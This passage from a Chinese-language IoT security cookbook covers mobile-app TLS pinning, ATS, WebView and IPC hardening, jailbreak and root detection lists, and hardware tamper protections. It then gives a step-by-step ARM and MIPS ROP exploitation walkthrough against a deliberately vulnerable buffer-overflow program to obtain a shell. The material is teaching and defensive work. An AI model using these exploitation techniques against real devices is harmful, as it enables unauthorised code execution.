TrustManagerFactory tmf = TrustManagerFactory.getInstance(tmfAlgorithm); 
tmf.init(keyStore); 
  1. 创建使用我们的 TrustManager 的 SSLContent:
sslContext.init(null, tmf.getTrustManagers(), null); 
    } 

    public SSLContext getContext(){ 
        return sslContext; 
    } 
} 
  1. 告诉 URLConnection 在与应用程序的 API 端点通信时使用来自我们的 SSLContext 的 SocketFactory:
URL url = new URL("https://example.com/rest/apiEndpoint"); 
HttpsURLConnection urlConnection = 
    (HttpsURLConnection)url.openConnection(); 
urlConnection.setSSLSocketFactory(context.getSocketFactory()); 
InputStream in = urlConnection.getInputStream(); 
copyInputStreamToOutputStream(in, System.out); 

一个可以帮助确保正确的 TLS/SSL 配置的工具是 Google 发布的 nogotofail。nogotofail 不仅检查配置,还确保不使用易受攻击的 TLS/SSL 协议,以及通过 MITM 技术查看从客户端设备发送的数据。要了解有关 nogotofail 的更多信息,请访问项目的 GitHub 页面github.com/google/nogotofail

iOS

类似的操作可以用于在 iOS 中将证书和/或证书的公钥指纹固定。固定是通过NSURLConnectionDelegate执行的,其中必须在connection:didReceiveAuthenticationChallenge:中实现connection:canAuthenticateAgainstProtectionSpace:connection:didReceiveAuthenticationChallenge:,并调用SecTrustEvaluate执行 X509 验证检查。在部署此类检查时,可以使用 OWASP 提供的 iOS 固定应用程序示例作为参考。可以通过以下链接下载示例程序:

www.owasp.org/images/9/9a/Pubkey-pin-ios.zip

除了所有应用程序在使用 TLS 时应遵循的一般最佳实践外,iOS 还有一个新功能,开发人员可以利用,并且在将来提交到苹果的 App Store 时将被要求(developer.apple.com/news/?id=12212016b)。这个功能被称为应用传输安全ATS),在 iOS 9 中引入,并默认启用。ATS 要求应用程序使用 TLSv1.2 进行 HTTPS 通信,使用完美前向保密PFS)以及特定的密码套件。如果应用程序不符合最低要求,将不允许连接到 iOS 应用程序。这对所有物联网设备都是很好的;然而,有方法可以绕过 ATS。具体来说,开发人员可以通过在Info.plist文件中使用NSAllowsArbitraryLoads配置来完全禁用 ATS,如下面的屏幕截图所示:

不幸的是,由于缺乏加密和/或 PKI 知识,这在物联网应用程序中非常普遍。ATS 还可以提供针对每个域或全局的异常,而不是完全禁用 ATS。以下是可以应用于以下配置的非详尽列表的异常:

  • 禁用 PFS(NSExceptionRequiresForwardSecrecy

  • 为媒体禁用 ATS(NSAllowsArbitraryLoadsForMedia

  • 允许通过 HTTP 进行不安全连接(NSExceptionAllowsInsecureHTTPLoads

  • 降低最低 TLS 版本(NSExceptionMinimumTLSVersion

  • 允许连接到本地域名(NSAllowsLocalNetworking

苹果提供了一个检查应用传输安全问题的工具,名为 nscurl。可以通过执行以下命令来使用 nscurl:

$ nscurl --ats-diagnostics https://www.packtpub.com  

苹果正在做出有希望的改变,以影响开发人员确保数据在传输中得到安全保护。如前所述,所有提交到 App Store 的应用程序将被要求在未来支持 ATS,具体时间由苹果宣布。

另请参阅

  • OWASP 提供的一个示例 Android 公钥固定应用程序可以通过以下 URL 下载:

www.owasp.org/images/1/1f/Pubkey-pin-android.zip

  • 请参阅以下苹果开发人员指南,了解有关 ATS 要求的更多信息:

developer.apple.com/library/content/documentation/General/Reference/InfoPlistKeyReference/Articles/CocoaKeys.html#//apple_ref/doc/uid/TP40009251-SW57

安全地使用 Android 和 iOS 平台组件

当物联网移动应用程序执行或检索来自第三方应用程序的命令时,内部平台 API 用于进程间通信IPC)。IPC 可用于集成应用程序,使其调用费用跟踪应用程序、IFTTT 等第三方服务应用程序,或亚马逊的 Alexa 等个人助手。Android 等平台提供了丰富的 IPC 功能,而 iOS 只提供了几个选项。大多数物联网应用程序使用平台和硬件功能与物理世界进行交互,这反过来会在对手成功利用漏洞时产生更大的影响。在本教程中,我们将讨论如何在 IPC 周围应用安全控制以及如何安全地使用平台 API。

如何做到…

与源自应用程序的命令在移动平台上进行交互是一种强大的能力。如果没有得到适当的保护,未经授权的应用程序可能会劫持命令并访问本不应被未经意的第三方接收的数据。在使用平台 API 时,应考虑以下做法:

  • 除非这些机制得到适当保护,否则不要通过 IPC 导出敏感功能。

  • 来自外部来源和用户的输入应该在必要时进行验证和清理。这包括通过用户界面、IPC 机制(如意图、自定义 URL 处理程序)和网络来源接收的数据。

  • WebViews 应该配置为仅允许加载所需的最小协议处理程序,如 HTTPS,并禁用其他危险的处理程序,如file://tel://sms://app-id://

  • 将 IPC 调用限制为受信任应用程序的白名单。

  • 将 Web 页面和 URL 处理程序列入白名单,以便本地或远程加载。

  • 仅请求应用程序功能所需的最小权限集。

  • 通过 WebViews 公开的本地方法应该验证,只有应用程序沙盒内的 JavaScript 才能被渲染。

  • 除非明确需要,否则 WebViews 应该禁用 JavaScript。

  • 序列化应该只使用安全的序列化 API,并进行加密签名。

大多数列出的做法都可以应用于 Android 和 iOS 平台;但是,根据应用程序的功能,应该审查特定的考虑因素,如 Android 权限、自定义权限和保护级别。

以下是一个名为IOT_COOKBOOK_ACTIVITY的自定义权限的示例,当启动MAIN_ACTIVITY``Activity时需要该权限。

  1. 第一个代码块使用标签定义了新的权限,并描述了Activity。接下来,根据权限类型设置了保护级别。一旦权限被定义,就可以通过在应用程序的AndroidManifest.xml文件中指定uses-permission来强制执行该组件上的权限。在下面的示例中,第二个块是我们将使用我们定义的权限来限制的组件。可以通过添加android:permission属性来强制执行:
<permission android:name="com.packtpub.cookbook.permission.IOT_COOKBOOK_ACTIVITY" 
        android:label="Start main Activity in packtpub" 
        android:description="Allow only apps signed with the same certificate to launch this Activity." 
        android:protectionLevel="signature" /> 

<activity android:name="MAIN_ACTIVITY" 
    android:permission="com.packtpub.cookbook.permission.IOT_COOKBOOK_ACTIVITY"> 
    <intent-filter> 
        <action android:name="android.intent.action.MAIN" /> 
        <category android:name="android.intent.category.LAUNCHER"/> 
     </intent-filter> 
</activity> 
  1. 现在创建了新的权限IOT_COOKBOOK_ACTIVTY,应用程序可以在AndroidManifest.xml文件中使用uses-permission标签请求该权限。在这种情况下,必须是使用相同证书签名的应用程序才能启动MAIN_ACTIVITY
<uses-permission android:name="com.example.myapp.permission.IOT_COOKBOOK_ACTIVITY"/> 

在引入自定义权限和保护级别时,始终参考 Android 的开发者文档是一个好主意。所有 Android 权限都可以在 Android 开发者文档中找到:developer.android.com/guide/topics/permissions/requesting.html

在 iOS 应用程序中,由于 iOS 的封闭生态系统,权限不适用。但是,iOS 和 Android 共享 WebViews,这使得可以在应用程序内加载网页。与 Web 应用程序类似,恶意代码可以在 WebViews 中执行。在减少 IoT 应用程序的攻击面时,这一点很重要。

  1. 以下代码片段说明了如何在 iOS 应用程序中禁用 WKWebViews 中的 JavaScript:
#import "ViewController.h" 
#import <WebKit/WebKit.h> 
@interface ViewController ()<WKNavigationDelegate,WKUIDelegate> 
@property(strong,nonatomic) WKWebView *webView; 
@end 

@implementation ViewController 

- (void)viewDidLoad { 

    NSURL *url = [NSURL URLWithString:@"https://www.packtpub.com/"]; 
    NSURLRequest *request = [NSURLRequest requestWithURL:url]; 
    WKPreferences *pref = [[WKPreferences alloc] init]; 

    [pref setJavaScriptEnabled:NO]; 
    [pref setJavaScriptCanOpenWindowsAutomatically:NO]; 

    WKWebViewConfiguration *conf = [[WKWebViewConfiguration alloc] init]; 
    [conf setPreferences:pref]; 
    _webView = [[WKWebView alloc]initWithFrame:CGRectMake(self.view.frame.origin.x,85, self.view.frame.size.width, self.view.frame.size.height-85) configuration:conf] ; 
    [_webView loadRequest:request]; 
    [self.view addSubview:_webView]; 

}
  1. 对于 Android 应用程序,禁用 JavaScript 是通过配置 WebView 的WebSettings来完成的,如下所示。还应该配置其他设置,如禁用文件系统访问、关闭插件和关闭地理位置信息(如果不需要):
WebView webview = new WebView(this); 
WebSettings webSettings = webview.getSettings(); 
webSettings.setJavaScriptEnabled(false); 
webView.getSettings().setPluginState(WebSettings.PluginState.OFF); 
webView.getSettings().setAllowFileAccess(false); 
webView.getSettings().setGeolocationEnabled(false); 
setContentView(webview); 
webview.loadUrl("https://www.packetpub.com/"); 

在考虑最小权限和深度安全原则的情况下,应用程序应该只利用和暴露平台组件以满足所需的业务功能。作为一个经验法则,从第三方应用程序发送和检索的任何数据都应该被视为不可信,并进行适当的验证。

保护第三方代码和组件

与所有软件一样,移动应用程序大量使用第三方库和包装器来执行诸如发出 HTTP 请求或加密对象之类的功能。这些库也可能会给应用程序引入弱点,暴露机密信息或影响应用程序本身的完整性。因此,应该审查第三方代码以发现漏洞,并在适用的情况下进行更新和测试。对于依赖第三方混合框架和库来发送、接收和保存数据的混合应用程序来说,这一点尤为重要。本文将讨论确保第三方代码不会给物联网应用程序引入漏洞的方法。

操作方法...

在第八章中,固件安全最佳实践,讨论了使用 NSP 和 Retire.js 扫描 JavaScript 库的方法,这些方法仍然适用于移动应用程序。为确保第三方代码不会给移动应用程序引入安全漏洞,应考虑以下建议:

  • 使用工具如 nsp、Retirejs 和 dependency-check (github.com/jeremylong/DependencyCheck) 连续记录库和框架的版本及其依赖关系

  • 为移动应用程序中使用的所有组件和第三方软件创建清单

  • 通过分析工具连续监视 NVD 等漏洞数据库,以自动化流程

  • 分析第三方库以确保它们在运行时被调用,并删除应用功能不需要的函数

  • 确保混合框架使用最新版本。

  • 监视混合框架的发布和博客,以确保没有已知的带有漏洞的组件在使用中

  • 在框架开发者没有合并上游库的情况下,修补易受攻击的库

  • 监视使用的开源代码库以发现安全问题和关注点

  • 确保混合框架插件在使用前已经审查过安全漏洞

  • 利用更新的安卓版本 API 来利用新引入的功能(苹果强制 iOS 更新)

  • 审查安卓和 iOS 的安全公告以发现平台漏洞和新的安全功能

最常见的移动混合框架之一是 Apache 的 Cordova。Cordova 可以通过以下命令更新到 iOS 和安卓:

cordova platform update ios
cordova platform update android@<version number>

Cordova 以受到研究人员的关注而闻名,并且通常在新版本中包含了针对安卓和 iOS 的安全更新。Cordova 的发布说明可以在他们的博客中找到,位于 cordova.apache.org/blog/。一个寻找尚未发布的错误的好地方是框架的错误跟踪系统,比如 Cordova 的 (issues.apache.org/jira/projects/CB/summary)。你会惊讶地看到修复、报告和关闭的错误数量。例如,另一个常用的混合框架是 Xamarin。Xamarin 的凭证管理器在 2014 年 4 月至 2016 年底之间使用了一个硬编码的安卓密钥库密码,使得账户凭证面临被妥协的风险,直到后来修复了这个问题。这可以在项目的 GitHub 仓库中找到 github.com/xamarin/Xamarin.Auth/issues/55

另请参阅

采用反向工程保护

当存在内部和外包团队的代码库用于用户体验(UX)、特定功能集(例如在应用启动期间查找设备、确保规则设置正确执行等)时,编写安全代码可能会很困难,还有其他一些功能,例如确保应用更新不会对网络中的物联网设备产生负面影响。对于一个应用来说,存在这样的复杂性,错误很可能会被发现,并且安全控制可能会被攻击者绕过。是的,这对于任何软件来说都是不可避免的,尽管有技术可用于使反向工程对攻击者更加困难,以便攻击者不会妥协应用程序并窃取公司的知识产权(IP)。

这些技术可以内置到应用程序逻辑中,以防止运行时修改,通过对应用程序类进行混淆来进行应用程序二进制文件的静态分析,并对数据进行分段以准备潜在的妥协。重要的是要注意,应用程序仍然需要在应用程序中构建安全控制,而不是用第三方软件保护替换控制。本文将介绍使应用程序更具抵抗力的做法。这些做法不仅会使应用程序更具抵抗力,还将作为应用程序反滥用系统的一部分,为应用程序提供深度防御。

如何做…

在实施应用程序反向工程控制和代码修改技术时,应遵循以下做法:

  • 应用程序应该检测并响应已越狱或越狱设备,可以通过警告用户或终止应用程序来实现

  • 通过混淆类和方法来阻碍动态分析对构建的影响

  • 在可能的情况下,首选硬件支持的进程隔离,而不是混淆

  • 应用程序应该防止调试并阻止调试器的连接

  • 应用程序应该检测反向工程工具和框架的存在

  • 应用程序应该检测是否在模拟环境中运行,并做出适当的响应

  • 生产版本应该剥离符号

  • 生产版本不应包含调试代码或可调试功能,例如android:debuggable="false"

  • Android 应用程序可以使用 SafetyNet Attestation API 兼容性检查来确保应用程序未被未知来源修改

  • 应该使用 SafetyNet Verify Apps API 来检查设备上是否安装了任何潜在有害的应用程序(developer.android.com/training/safetynet/verify-apps.html

iOS 应用程序可以寻找常见的越狱基于文件的检查,例如以下列表(github.com/OWASP/owasp-mstg/blob/master/Document/0x06j-Testing-Resiliency-Against-Reverse-Engineering.md):

/Applications/Cydia.app
/Applications/FakeCarrier.app
/Applications/Icy.app
/Applications/IntelliScreen.app
/Applications/MxTube.app
/Applications/RockApp.app
/Applications/SBSettings.app
/Applications/WinterBoard.app
/Applications/blackra1n.app
/Library/MobileSubstrate/DynamicLibraries/LiveClock.plist
/Library/MobileSubstrate/DynamicLibraries/Veency.plist
/Library/MobileSubstrate/MobileSubstrate.dylib
/System/Library/LaunchDaemons/com.ikey.bbot.plist
/System/Library/LaunchDaemons/com.saurik.Cydia.Startup.plist
/bin/bash
/bin/sh
/etc/apt
/etc/ssh/sshd_config
/private/var/lib/apt
/private/var/lib/cydia
/private/var/mobile/Library/SBSettings/Themes
/private/var/stash
/private/var/tmp/cydia.log
/usr/bin/sshd
/usr/libexec/sftp-server
/usr/libexec/ssh-keysign
/usr/sbin/sshd
/var/cache/apt
/var/lib/apt
/var/lib/cydia  

此外,iOS 应用程序可以尝试执行根级系统 API 调用或通过向应用程序沙盒之外的文件写入数据来检测设备是否已越狱。

安卓应用程序可以使用类似的方法来检查常见的已 root 设备文件,并尝试以 root 身份执行命令。常见的已 root 文件和应用程序列表如下所示(github.com/OWASP/owasp-mstg/blob/master/Document/0x05j-Testing-Resiliency-Against-Reverse-Engineering.md):

    /system/xbin/busybox
    /sbin/su
    /system/bin/su
    /system/xbin/su
    /data/local/su
    /data/local/xbin/su
    com.thirdparty.superuser
    eu.chainfire.supersu
    com.noshufou.android.su
    com.koushikdutta.superuser
    com.zachspong.temprootremovejb
    com.ramdroid.appquarantine

此外,检查自定义的 Android ROM 版本可以指示已 root 设备,尽管这不是一个确定的方法。

应该使用多种检查和防御方法来确保弹性。总体目标是确保攻击者无法篡改、修改代码、执行运行时修改和逆向工程应用程序包以防止滥用。前述实践中的一些可以在应用程序启动时和整个运行时引入到应用程序逻辑中。商业解决方案可用于执行一些早期列出的实践以及更多内容;但是,在集成到应用程序之前,应该经过审查。

还有更多...

要了解移动应用程序逆向工程和未经授权的代码修改的风险,请参考 OWASP 的逆向工程和代码修改预防项目www.owasp.org/index.php/OWASP_Reverse_Engineering_and_Code_Modification_Prevention_Project。该项目非常好地描述了技术和业务风险用例,并提供了补充的缓解建议。

另请参阅

第十章:安全硬件

在本章中,我们将涵盖以下内容:

  • 硬件最佳实践

  • 不常见的螺丝类型

  • 防篡改和硬件保护机制

  • 侧信道攻击保护

  • 暴露的接口

  • 加密通信数据和 TPM

介绍

如今市场上大多数的物联网设备在硬件安全方面存在失败,即无法保护硬件免受攻击者的访问。无论是 IP 摄像头、婴儿监视器、医疗设备、企业物联网、智能可穿戴设备还是智能电视,一旦开始关注其安全性,就很有可能会有一名技术水平适中的攻击者能够打开设备(由于没有/很少有防止打开设备的保护措施),读取各种芯片,识别其数据表(由于缺少隐藏芯片身份的保护措施),访问芯片中的数据(当没有防止访问芯片的保护措施时),通过各种接口与设备进行交互(因为没有防止暴露接口的保护措施),等等。

在本章中,我们将介绍设备开发人员和制造商可以采取的各种步骤,以保护物联网设备中使用的嵌入式设备硬件。尽管使设备 100%安全几乎是不可能的,但本章提到的步骤将有助于确保你所工作的设备遵循了一个非常良好的安全姿态,这对攻击者来说是很难突破的。

硬件最佳实践

但在深入讨论可以用来保护硬件的各种细节之前,让我们简要讨论一下保护嵌入式设备所需采取的方法。

在构建嵌入式设备时需要考虑的一点是,一旦产品上市,大多数基于硬件的漏洞就无法修复。这意味着在与硬件打交道时,你需要从一开始就非常小心。

在为物联网解决方案构建硬件设备时需要注意的另一点是,始终要考虑如果攻击者能够接触硬件,他将获得哪些资源。这意味着如果攻击者能够打开物联网设备,他将在 PCB 上看到哪些可见的组件。此外,如果攻击者进一步并通过 shell 访问硬件接口,他能做些什么。

在构建嵌入式设备时应考虑这些事项。

以下是在嵌入式设备的硬件设计和开发过程中应遵循的一些最佳实践:

  • 确保你的设备具有防篡改和硬件保护机制

  • 通过使用独特的螺丝或使用其他方法将硬件的各个部分组合在一起,可以改善逆向工程的复杂性

  • 确保攻击者无法接触/获取 UART 和 JTAG 等常见的硬件访问方式

  • 利用可信平台模块TPM)保护,以进一步加强设备安全性

不常见的螺丝类型

硬件攻击者的第一步是打开设备,查看 PCB 上的芯片和各种暴露的接口。可以通过使用不常见的螺丝或使用超声波焊接或高温胶封闭多个硬件外壳来一定程度上保护这一点。

以下图显示了一些常见的螺丝类型:

来源:http://thecraftsmanblog.com/wp-content/uploads/2013/09/Screw-Drive-Types.png

如果你决定使用独特/不常见的设备螺丝,将使攻击者更难打开你的设备,在大多数情况下唯一的选择将是强行打开。通过添加组件来抵抗开启设备的行为,甚至普通的打开行为,这将在下一节中讨论。

防篡改和硬件保护机制

防篡改意味着使用专门的组件来防止对给定设备的篡改。实施防篡改的一种常见且有效的方式是在设备中添加防篡改检测开关、传感器或电路,可以检测某些动作,如打开设备或强行破坏设备,并根据此采取行动,如删除闪存或使设备无法使用。

除此之外,强烈建议通过去除它们的标签、用环氧树脂隐藏它们,甚至将芯片封装在安全的外壳中来保护敏感芯片和组件。

实施防篡改的其他技术包括整合紧密的气流通道、安全螺丝和硬化钢外壳,所有这些都会使对设备的篡改变得极其困难。

电源插座中的安全螺丝

大多数设备制造商还实施了一些无效的防篡改保护措施。以下是 TP-Link MR3020 的图片,它使用胶水来保护和隐藏 UART 端口,但显然没有成功:

在这种情况下,可以使用纸刀非常容易地去除胶水,然后暴露出底层的 UART 接口。

侧信道攻击保护

保护硬件的明显机制之一是实施和启用加密。然而,存在攻击可以绕过加密,或者密钥可以非常容易地获得。

侧信道攻击是一种高级的硬件利用技术,攻击者利用不同的信息源,如功耗变化、时序分析、电磁数据变化和声音信息,提取更多信息,这些信息可以用来破坏目标设备。

直接内存攻击DMA)是一种侧信道攻击类型,让攻击者可以直接访问与某项活动功能相关的组件,而不是按照通常的路径。例如,如果我们以 USB 为例,USB 连接到控制器集线器/平台控制器集线器PCH),可以通过直接内存访问DMA)访问。

这些攻击很难防范,然而,以下是一些可以采取的措施来防范这些类型的攻击:

  • 在设备中使用组件,减少系统外传的整体信息,无论是电磁辐射还是声音。

  • 在执行敏感活动时增加额外的噪音,使攻击者更难提取信息。

  • 确保攻击者无法获得对不需要的组件的任何物理访问。

暴露的接口

在物联网设备中保护硬件最重要的事情之一是在设备上市时禁用和移除 UART 和 JTAG 接口,以及硬件中的任何其他诊断功能。

另一个重要的考虑因素是,即使没有可见的外部接口,攻击者也可以直接连接到芯片的引脚,以获取对 UART、JTAG 等的访问权限。这是通过阅读芯片组的数据表,找出哪些引脚用于什么功能,然后进行必要的连接来实现的。在这里可以采取的一项措施是增加一些复杂性,将接口深深地放置在不同层之间,通过过孔而不是暴露在一个可见层上。然而,只有在设备开发者在以后的某个时间点需要暴露的接口时才应该这样做。在所有其他实际情况下,这些接口应该被移除。另一个值得注意的安全保护是添加硬件和软件保险丝,可以防止芯片被读取或写入。

这里需要注意的一点是,基本的保护机制,如切断轨道,效率极低,并且可以被一名技能适中的攻击者绕过。

然而,通过使用焊接桥,切断的轨道可以重新连接以重新启用 JTAG,并利用其他技术进一步利用它。

加密通信数据和 TPM

尽管加密将成为固件安全的一部分,攻击者通常可以嗅探两个不同硬件组件之间传递的数据。为了确保您的敏感信息不会落入攻击者手中,请确保您加密了传输中以及静止状态下的数据。

在谈论嵌入式设备中的加密时,另一个重要考虑因素是执行某种加密功能所需的资源量。

由于设备资源有限,执行极强的加密可能不可行-因此,在硬件中应该提前考虑并实施加密和可用性之间的良好平衡。

如果可能,并且芯片支持,利用 TPM 存储各种加密密钥,这也可以提供诸如信任根之类的功能,防止对启动过程的修改。大多数 TPM 支持有效的硬件随机数生成器和在 200 毫秒内计算 2048 位 RSA 签名的能力。

如果基于 TPM 的安全不可行,另一种选择是使用复制保护加密狗或硬件安全模块(HSM),在那里存储加密密钥。这也可以在设备运行时使用,以防止固件修改和后门攻击,从而增强设备安全性。

第十一章:高级物联网利用和安全自动化

在本章中,我们将涵盖以下内容:

  • 查找 ROP 小工具

  • 链接 Web 安全漏洞

  • 为固件配置持续集成测试

  • 为 Web 应用程序配置持续集成测试

  • 为移动应用程序配置持续集成测试

介绍

为了利用物联网的漏洞并能够保护自己免受攻击,需要自动化来开发武器化的概念证明,并为防御安全团队提供可扩展性。如果安全团队无法跟上代码推送和开发的速度,就会引入漏洞。此外,安全团队需要适应开发团队的速度,不要阻碍他们当前的安全测试和审查流程。本章将介绍高级物联网利用技术,以及以自动化方式发现和防止物联网漏洞的方法。

查找 ROP 小工具

在利用嵌入式设备的过程中,最重要的事情之一是能够利用易受攻击的二进制文件,使用返回导向编程ROP)等技术,这正是我们将在本节中讨论的内容。

我们需要这种技术的原因是,在利用过程中,我们经常需要将最终结果作为 shell 或执行后门,这可以为我们提供额外的信息或访问敏感资源。

ROP 的概念在 ARM 和 MIPS(甚至 x86)中是相同的;然而,我们需要记住一些平台级别的差异。简单来说,ROP 涉及从各个位置拾取特定指令(小工具),并将它们链接在一起构建完整的 ROP 链,以执行特定任务。

准备工作

如前所述,要执行 ROP,我们需要能够识别可以链接在一起的有用 ROP 小工具。要找到这些特定的小工具,我们可以手动查看 libc 或其他库中的各个位置,或者使用自动化工具和脚本来帮助我们完成相同的工作。

为了简化问题,我们将以 ARM 上的易受攻击程序为例,并稍后查看一些其他示例,以帮助我们加深对基于 ROP 的利用的理解。

我们需要的一些组件如下:

  • GDB-Multiarch:各种架构的 GDB

  • BuildRoot:用于为 ARM 架构编译我们的易受攻击程序

  • PwnDbg:这是帮助利用的 GDB 插件

  • Ropxx:这是帮助我们组合 ROP 小工具并构建最终链的 Python 脚本

目前我们不打算使用任何自动化工具,而是专注于手动方法,以便理解基本原理。如果您以后想使用自动化工具(我建议这样做),您可以查看另请参阅部分,了解一些有用的链接。

操作步骤

在本节中,我们将看看如何开始利用 ARM 环境中的简单堆栈缓冲区溢出。

  1. 在这种情况下,易受攻击的程序如下:

#include <stdio.h> 
#include <stdlib.h> 
void IShouldNeverBeCalled() 
{ 
puts("I should never be called\n"); 
exit(0); 
} 
void vulnerable(char *arg) 
{ 
char buff[10]; 
strcpy(buff,arg); 
} 
int main(int argc, char **argv) 
{ 
vulnerable(argv[1]); 
return(0); 
} 

正如您在前面的程序中所看到的,main函数接受用户提供的输入,然后将该参数传递给具有 10 字节缓冲区(名为 buff)的易受攻击函数。如预期的那样,如果输入参数的大小显着大于 buff 的大小,就会导致溢出。

一旦溢出了 buff,我们需要找到一种方法来覆盖pclr寄存器,以控制程序执行流。这可以通过在strcpy地址设置断点,然后分析复制前后的堆栈来完成。

  1. 让我们首先使用 Qemu 仿真运行这个程序,用于 ARM 架构:

我们还添加了-g参数,以便将调试器附加到运行的实例上,这里是端口12345,现在我们可以使用 GDB 连接,如下所示。

  1. 我们将在这里使用 GDB-multiarch,然后指定 sysroot 和远程目标,如下面的屏幕截图所示:

让我们在 main 处设置一个断点(b main)并继续(c)程序。

现在来看寻找 gadgets 的有趣部分。要找到有用的 gadgets,我们需要寻找一些指令,这些指令允许我们设置某些值,我们可以跳转到这些值,比如说 system(在我们当前的情况下),同时在跳转时,将地址作为/bin/sh的参数,这将给我们提供 shell。

这意味着我们可能需要将system的地址放在pclr中,将/bin/sh的地址放在r0中,这是 ARM 中的第一个寄存器,也是作为被调用函数的参数。一旦我们找到了允许我们执行所有这些操作的指令,我们还需要确保在我们之前提到的有用指令之后的指令中有一个这些内容,即要么跳转到我们控制的地址,要么pop {pc}pop {lr}

  1. 如果我们查看libc中存在的函数之一erand48的反汇编,我们可以看到它具有一组特定的有用指令,这些指令允许我们控制执行并设置寄存器的值。如下面的屏幕截图所示:

以下是我们感兴趣的三条指令:

    1. lmd sp, {r0, r1}:此指令从堆栈中加载r0r1的值。这将用于控制r0,它作为我们即将跳转到的函数(system)的参数。
  1. add sp, sp, #12:此指令简单地将堆栈指针增加12

  2. pop {pc}:此指令从堆栈中弹出值并将其放入pc,这意味着我们将能够控制程序的执行。

现在我们需要找到两件事,它们分别是:

    1. system的地址。
    1. /bin/sh的地址。
  1. 我们可以使用print命令或使用disass system找到system的地址,如下面的屏幕截图所示:

  1. 现在,让我们生成一个 50 个字符的循环字符串,并看看我们如何溢出缓冲区以成功跳转到errand48

  1. 让我们使用生成的字符串调试程序:

  1. 现在我们将在易受攻击的函数处设置一个断点并继续执行。GDB 将触发断点,如下面的屏幕截图所示:

  1. 让我们也在易受攻击的函数的最后一条指令处设置一个断点:

  1. 一旦断点被触发,让我们分析一下堆栈:

突出显示的指令将从堆栈中弹出两个双字(double words),分别放入fppc。如果我们在这里查看堆栈中的第二个值,它是0x61616165('eaaa'),这意味着这个值将放入pc

  1. 如果我们查看此值的偏移量,我们将能够找出如果我们想要用我们期望的地址覆盖pc,偏移量将是多少个字符。我们可以使用cyclic -l 0x61616165来找到这个值,如下面的屏幕截图所示:

  1. 这意味着我们需要以小端格式将我们期望的pc值(erand48ldm指令)放在偏移量为 16 的位置。

我们可以使用以下 Python 代码生成新的字符串:

  1. 接下来,我们可以重新运行生成的字符串,如下面的屏幕截图所示:

  1. 在这个阶段,像之前一样附加 GDB。在易受攻击的函数的最后一条指令的地址0x84e0上设置断点:

  1. 这一次我们可以看到pc被加载到erand48指令的地址0x4087b9dc。让我们使用ni步进一条指令,达到ldm指令:

  1. 正如我们在这一步看到的,寄存器r0加载了0x61616161,这是我们想要放置/bin/sh字符串地址的寄存器:

  1. 有效的偏移量将是16 + 4 + 0 = 20,如下所示:
 "A"*16 => 16 bytes 
 "\xdc\xb9\x87\x40" => 4 bytes
  1. 因此,在偏移量 20 处,我们需要放置/bin/sh字符串的地址,然后将其作为参数传递给系统。通过两次步进,我们可以到达 pop,如下截图所示:

  1. pc将获得值0x61616164,偏移量可以用与之前相同的方式计算:

  1. 因此,pc的有效偏移量将是:

16 + 4 + 0 + 12 = 32

这意味着在偏移量 32 处,我们需要放置系统的地址,这是我们之前找到的。

另外,让我们继续在偏移量 36 处放置/bin/sh的 ASCII 字符串,并在偏移量 20 处引用它。因此,栈上字符串的地址将是0x407fff18

  1. 我们可以使用ropgen模块来生成利用字符串,如下截图所示:

  1. 让我们再次调试并执行一遍:

  1. 如果我们现在查看栈,ASCII 字符串/bin/sh现在位于地址0x407fff38,这意味着我们需要调整我们的代码以反映这一点:

  1. 通过与之前相同的方式调试,我们可以看到这一次我们的 ASCII 字符串被加载到了正确的地址:

  1. 我们可以再次步进到达erand48地址,如下截图所示:

  1. 这一次寄存器r0存储了所需的 ASCII 字符串的地址。通过两次按c来到达函数的最后一条指令(pop pc),如下所示:

  1. pop {pc}将从栈中加载系统的地址并将其放入pc,然后将带有我们/bin/sh字符串地址的r0传递给系统。我们可以查看 regs 来确认这一点:

  1. 一旦我们按下c,我们将能够获得一个 shell,如下所示:

因此,我们能够利用基于堆栈的缓冲区溢出,并使用 ROP 跳转到系统,并使用我们期望的字符串作为参数,利用erand48函数中的指令,最终获得一个 shell。

然而,这只是一个在基于 ARM 的架构上开始使用 ROP 的非常简单的例子。类似的技术可以应用于 MIPS 上的 ROP,如下所示。我们在这里展示的另一件事是如何解决缓存不一致的问题,这通常在利用过程中出现。

  1. 我们在这种情况下寻找的易受攻击程序是来自 DVRF 固件的socket_bof。在这种情况下,我们将要跳转到的第一条指令是sleep,并提供我们想要休眠的时间作为参数。我们调用sleep来刷新缓存,然后稍后准备我们的小工具,以调用系统并将命令地址作为参数,如下所示。下面的截图显示了我们的第一个小工具的样子:

正如我们所看到的,通过这个小工具,除了设置$a0之外,这是第一个寄存器(就像 ARM 中的r0一样),我们还能够控制返回地址RA)和一些其他寄存器,比如$fp$s7$s6...$s0,最后跳转到$ra

  1. 在下一个小工具中,我们将准备使用已经设置的$a0值跳转到sleep。请注意,在这个小工具中,$t9正在从我们在前一个小工具中能够控制的$s0中获取值:

  1. 一旦我们设置好这个小工具,下一个小工具将设置系统参数(我们要执行的字符串命令的地址),并允许我们跳转到系统。在这种情况下,参数是$sp+24,而$t9(我们要设置为系统地址)从$s3中获取其值,而我们在前面提到的第一个小工具中能够控制$s3

  1. 一旦我们把所有的小工具都放好,下一步显然是计算各种偏移量,以确保我们的 ROP 链能够正常工作。整个 ROP 链看起来就像下面截图中所示的那样:

  1. 接下来,将各个参数放在正确的位置,运行二进制文件,并从/proc/maps中找出libc地址:

  1. 一旦正确识别了libc地址并且程序运行起来,您应该能够看到我们的参数现在在运行时放在了正确的地址,可以使用 GDB 进行确认:

在上面的截图中,id就是我们想要执行的命令。

  1. 总之,在这种情况下,我们的 ROP 链看起来是这样的:

这就是 ROP 利用的全部内容,我们将介绍 ARM 和 MIPS 的示例。在现实世界的场景中,应用是一样的——可能不仅仅是几条指令,你需要一些指令来形成你的 ROP 链。

另请参阅

您可以查看一些自动化工具,这些工具将帮助您在各种平台上进行基于 ROP 的利用过程。建议您查看的一些工具如下:

链接 Web 安全漏洞

当对手针对某种 IoT 设备时,通常会利用多个漏洞来武装攻击。这些漏洞本身可能在严重性上较低;然而,当结合在一起时,攻击的影响就会更大。多个低级漏洞组合成一个严重漏洞并不罕见。这在 IoT 设备方面尤为重要。在 IoT 设备中发现的一个严重漏洞可能会危及设备的完整性。本文将介绍如何将 Web 安全漏洞链接在一起,以在没有钥匙、车钥匙或凭据的情况下访问 Subaru 连接的车辆。

任何漏洞研究都必须在合法范围内进行。对 MySubaru 账户和 Subaru 服务器进行未经授权的测试是非法的。所有测试都应该在受控环境中进行,并且应该是合法拥有的。尽管 Subaru 远程服务不能控制发动机和传动系统功能,但测试结果是未知的。本文中的所有严重漏洞都已被 Subaru 报告并解决。

如何做到这一点...

